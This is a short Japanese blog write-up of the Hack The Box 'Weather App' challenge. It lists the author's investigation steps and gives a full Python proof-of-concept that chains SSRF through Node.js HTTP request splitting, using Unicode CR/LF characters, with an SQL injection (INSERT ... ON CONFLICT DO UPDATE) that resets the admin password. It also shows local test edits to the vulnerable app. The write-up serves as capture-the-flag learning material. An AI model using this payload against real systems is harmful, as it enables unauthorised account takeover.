🐙

Weather App(HTB)

2022/12/02に公開約4,000字

やー-っとできた!!ので書く

参考↓
https://infosec.itsmeuday.com/blog/htb_weather_app

https://blog.csdn.net/f_cccc/article/details/116406838

https://forum.hackthebox.com/t/official-weather-app-discussion/3707

上の参考URLの方がはるかに分かりやすいし、詳しいので私の記事を見るのはとてもオススメしない。

過程

routes/index.jsのソースコードを読む

/registerでアカウント登録をしようとしてみる

/api/weatherのbodyをプロキシツールで見てみる

database.jsとhelpers/WeatherHelper.jsのソースコードを読む

package.jsonのソースコードを読む

SSRFについて調べる



Node.jsのHTTP Request Splittingについて調べる

database.jsのペイロードを考える

INSERT ON CONFLICT句について調べる

PoC

weather_app.py
import requests
import json

host = "{TARGET_IP}:{TARGET_PORT}"
localhost = "127.0.0.1"
vuln_url = "http://" + host + "/api/weather"
path = "/register"
CR = '\u010D'
LF = '\u010A'
space = '\u0120'
content_type = "application/x-www-form-urlencoded"
username = "admin"
# single quotes need percent encoding
password = "1111%27)" + space +  "ON" + space + "CONFLICT(username)" + space + "DO" + space + "UPDATE" + space + "SET" + space + "password=%27test5%27;--"
# こっちでも動く
# password = "1111%27)/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/password=%27test6%27;--"

content_length = len(username) + len(password) + 19

endpoint = localhost + "/"  + space + "HTTP/1.1" + CR+LF +\
           "Host:" + space + localhost + CR+LF +\
           CR+LF +\
           "POST" + space + path + space + "HTTP/1.1" + CR+LF +\
           "Host:" + space + localhost + CR+LF +\
           "Content-Type:" + space + content_type + CR+LF +\
           "Content-Length:" + space + str(content_length) + CR+LF +\
           "Connection:" +space + "close" + CR+LF +\
           CR+LF +\
           "username=" + username +"&password=" + password + CR+LF +\
           CR+LF +\
           "GET" + space

city = "test"
country = "test"

body = {
         "endpoint":endpoint,
         "city":city,
         "country":country
       }

# NOT USE!!!
# json_body = json.dumps(body)

print("--------------ENDPOINT PAYLOAD--------------")
print(body)

print("--------------DECODE PAYLOAD--------------")
decode_body = json.dumps(body).replace("\\u010a", "\n").replace("\\u010d", "\r").replace("\\u0120", " ")
print(decode_body)

res = requests.post(url=vuln_url, json=body,proxies={"http":"http://localhost:8080"})
# when not going through a proxy
# res = requests.post(url=vuln_url, json=body)

print("--------------RESPONSE--------------")
print(res.text)

cmd
$ python weather_app.py


username=admin、password=test5でログイン

何回やってもパスワード変更できないなあと思いながら、print(body)された値をburpに貼り付けたらいけちゃってComposerで何が違うのか見て、結局、requests.post(url=vuln_url, data=json_bodyと書いたことによりContent-Type: application/jsonがリクエストについてなかったというやつだった。。

ローカル環境検証

SQLの動きがいまいちわからなかったので検証してた

database.jsを修正
// 追記
async selectQuery() {
    return new Promise(async (resolve, reject) => {
        try {
            let query = `SELECT * FROM users`;
            resolve((await this.db.all(query)));
        } catch(e) {
            reject(e);
        }
    });
}

// 一部修正
async register(user, pass) {
    // TODO: add parameterization and roll public
    return new Promise(async (resolve, reject) => {
        try {
            let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
            let test = resolve((await this.db.run(query)));
            console.log(test);
        } catch(e) {
            console.log(e);
            reject(e);
        }
    });
}
routes/index.jsを編集
// 追記
router.get('/sql', (req, res) => {
	return db.selectQuery()
	.then((message)  => {
		return res.send(response(message));
	})
	.catch((e) => res.send(response(e.text)));
});

// 削除
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
	return res.status(401).end();
}

// 一部修正
if (username && password) {
	return db.register(username, password)
		.then(()  => res.send(response('Successfully registered')))
		.catch((e) => res.send(response(e.text)));
}

cmd
\Weather App\web_weather_app> sh .\build-docker.sh


/registerと/sqlを行き来して、SQLどうなってるかな~を確認

Discussion

ログインするとコメントできます